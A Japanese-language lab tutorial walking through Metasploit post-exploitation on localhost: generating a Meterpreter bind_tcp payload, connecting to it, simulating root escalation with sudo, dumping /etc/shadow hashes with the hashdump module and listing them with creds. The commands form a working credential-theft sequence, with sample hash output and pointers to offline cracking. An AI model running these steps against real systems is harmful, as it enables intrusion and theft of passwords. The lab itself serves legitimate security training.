はじめに
この実験では、Metasploit Framework を使用して重要なポストエクスプロイト(攻撃後の活動)タスクを実行します。ポストエクスプロイトとは、攻撃者がターゲットシステムへの侵入に成功した後に発生するフェーズです。この段階の目的は、情報の収集、権限の昇格、およびアクセスを維持したりネットワーク内の他のシステムへ横展開(ラテラルムーブメント)したりするための認証情報(パスワードハッシュなど)の抽出です。
認証情報へのアクセスが重要な理由は、1 つのホストの侵害が多くの場合、攻撃の始まりに過ぎないからです。パスワード素材やトークンは、ローカルでの侵害からより広範なネットワークへの到達を可能にする架け橋となります。
ここでは、強力なコマンドシェルを提供する高度で動的に拡張可能なペイロードである Meterpreter を利用します。実践を通じて、現在のユーザー権限の確認方法、権限昇格のシミュレーション、ローカルパスワードハッシュの抽出、そして将来の使用に備えてこれらの認証情報を Metasploit データベースに保存する方法を学びます。
この手順には意図があります。権限レベルによって到達できる秘密情報が決まり、到達した秘密情報によって次にどこへ移動できるかが決まるからです。
現在の権限の確認 (getuid)
このステップでは、Metasploit のインストール、Meterpreter ペイロードの生成、そして最初のセッションの確立を行い、環境をセットアップします。接続後、getuidコマンドを使用して、ペイロードが実行されているユーザーアカウントを特定します。
現在の ID を知ることは基本的ですが不可欠です。多くのポストエクスプロイト活動は、セッションがどのアカウントコンテキストにあるかによって成功するか失敗するかが完全に決まります。
まず、用意されたインストールスクリプトを使用して Metasploit Framework をインストールします。このプロセスにより、必要なコンポーネントがダウンロードおよびインストールされます。
sudo /tmp/msfinstall
Metasploit は、抽出した認証情報などの調査結果を追跡するために PostgreSQL データベースを使用します。この実験環境では、msfdb initがローカルデータベースを自動的に準備できるため、直接初期化を実行します。
msfdb init
もし postgresql: unrecognized service のようなメッセージが表示されても、msfdb init が正常に完了していれば、この環境では無視して構いません。
次に、Linux 用の Meterpreter ペイロードを生成します。ペイロードとは、ターゲットシステム上で実行される悪意のあるコードのことです。ここでは、ターゲット上でポートを開き、接続を待機する bind_tcp ペイロードを作成します。
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o ~/project/payload.elf
現在の実験環境で初めて Metasploit を使用する場合、msfvenomの実行前に初期セットアップのプロンプトが表示されることがあります。新しいデータベースをセットアップするか尋ねられたら yes と答え、セットアップが完了するのを待ちます。その後、msfvenomが続行され、ペイロードファイルが保存されます。
生成されたペイロードを実行可能にします。
chmod +x ~/project/payload.elf
次に、ペイロードをバックグラウンドで実行します。これは、被害者がシステム上で悪意のあるファイルを実行する状況をシミュレートします。
./payload.elf &
ペイロードが実行され、ポート 4444 で待機している状態で、msfconsoleを使用して接続します。以下のコマンドは、ハンドラーを自動的に設定してペイロードに接続し、直接 Meterpreter セッションを開始します。
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
接続が確立されると、meterpreter > プロンプトが表示されます。現在の権限を確認するには、次のコマンドを入力します。
getuid
以下のような出力が表示され、標準の labex ユーザーとして実行されていることが確認できます。
Server username: uid=1000, gid=1000, euid=1000, egid=1000
権限の昇格 (getsystem)
現実のシナリオでは、標準ユーザーの権限ではパスワードハッシュのダンプのような重要なタスクを実行するには不十分なことがよくあります。攻撃者は権限を最高レベルまで昇格させる必要があります。
Windows 環境では、Meterpreter は getsystem コマンドを提供しており、これが自動的に様々な手法を試して NT AUTHORITY\SYSTEM まで権限を昇格させます。しかし、Linux システムでは、権限昇格には通常、ローカルの脆弱性や設定ミス(弱い sudo 権限など)を悪用して root ユーザーになることが含まれます。
今回は Linux 環境で練習しているため、ペイロードを sudo で実行することで、権限昇格の成功をシミュレートします。
まず、現在の標準ユーザーの Meterpreter セッションを終了します。
exit
これによりセッションが閉じられ、標準の Linux ターミナルに戻ります。通常のシェルプロンプト(labex:project/ $ のような表示)に戻るまで待機してください。そのシェルプロンプトに戻ってから、次のコマンドを実行します。
次に、ペイロードを再度実行しますが、今回は sudo を使用して root ユーザーとして実行します。& 記号はバックグラウンドで実行するためのものです。
sudo ./payload.elf &
先ほどと同様に、msfconsoleを使用して、権限の高い新しいペイロードに接続します。
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
meterpreter > プロンプトが表示されたら、再度ユーザーID を確認して、権限昇格が成功したことを検証します。
getuid
出力により、システムレベル(root)のアクセス権があることが確認できるはずです。この環境では、最も一般的な出力は以下の通りです。
Server username: root
Meterpreter のビルドによっては、uid=0, gid=0, euid=0, egid=0 のような詳細な数値形式で表示されることもあります。どちらの形式も、セッションが root 権限で実行されていることを示しています。
ハッシュダンプの実行 (hashdump)
システムレベルのアクセス権を得たので、高度なポストエクスプロイトタスクを実行できます。最も重要なタスクの 1 つがパスワードハッシュの抽出です。
ここで、権限昇格が運用上のインパクトへとつながります。高い権限を持つことで、保護された認証情報ストアや機密性の高いシステム状態へのアクセスが可能になるためです。
Windows では、攻撃者は hashdump コマンドを使用して SAM(Security Account Manager)データベースからハッシュを抽出します。Linux では、ユーザーのパスワードハッシュは /etc/shadow ファイルに保存されており、これは root ユーザーのみが読み取り可能です。Metasploit には、これらの Linux ハッシュの抽出と解析を自動化するための専用のポストエクスプロイトモジュールが用意されています。
アクティブな root の Meterpreter セッションで、以下のコマンドを入力して Linux ハッシュダンプモジュールを実行します。
run post/linux/gather/hashdump
Metasploit が 1 つ以上のユーザーアカウントのハッシュを抽出し、アンシャドウ(unshadowed)された結果を loot ディレクトリに保存したことを示す出力が表示されます。
[+] labex:$y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812:5000:5000::/home/labex:/usr/bin/zsh
[+] Unshadowed Password File: /home/labex/.msf4/loot/20260314100052_default_127.0.0.1_linux.hashes_334082.txt
抽出されたこれらのハッシュは、後で John the Ripper や Hashcat などのツールを使用してオフラインでパスワードクラック攻撃を行い、平文のパスワードを復元することで、ネットワーク全体へのさらなる横展開を可能にします。
データベースへのハッシュ保存 (creds)
Metasploit Framework を使用する大きな利点は、エンゲージメント中に収集したデータを自動的に管理できることです。ステップ 1 でデータベースを初期化したため、Metasploit はダンプしたパスワードハッシュを自動的に保存しています。
保存された認証情報を表示するには、メインの msfconsole プロンプトに戻る必要があります。これを行うには、現在の Meterpreter セッションをバックグラウンドに送ります。
Meterpreter プロンプトで、次のように入力します。
background
msf6 > プロンプトに戻ります。次に、creds コマンドを使用して、Metasploit が収集しデータベースに保存したすべての認証情報を表示します。
creds
出力には、ホスト IP、ポート、ユーザー名、および抽出されたパスワードハッシュを含む構造化されたテーブルが表示されます。
Credentials
===========
id host origin service public private realm private_type JtR Format cracked_password
-- ---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
1 127.0.0.1 labex $y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812 Nonreplayable hash yescrypt
この一元化された認証情報管理は、大規模なペネトレーションテストにおいて非常に有用であり、侵害されたアカウントを簡単に追跡し、他の Metasploit モジュールで再利用することができます。
msfconsoleを終了して実験を完了するには、次のように入力します。
exit
Metasploit がまだアクティブなセッションが開いていると警告した場合は、exit -y と入力してコンソールを閉じ、実験を終了してください。
まとめ
この実験では、Metasploit Framework を使用してポストエクスプロイトの重要なフェーズを正常に実行しました。Meterpreter セッションの確立方法、getuidを使用した現在の権限の確認方法、そして権限昇格(getsystemの目標をシミュレート)の重要性を学びました。さらに、Metasploit のポストエクスプロイトモジュールを利用して hashdump を実行し、ターゲットシステムからローカルパスワードハッシュを抽出しました。最後に、Metasploit がこれらの調査結果を自動的に管理する方法を探り、creds コマンドを使用して保存された認証情報を表示する方法を学びました。これらのスキルは、システムのセキュリティ体制を評価し、攻撃者がネットワーク内でどのように横展開するかを理解するための基礎となります。



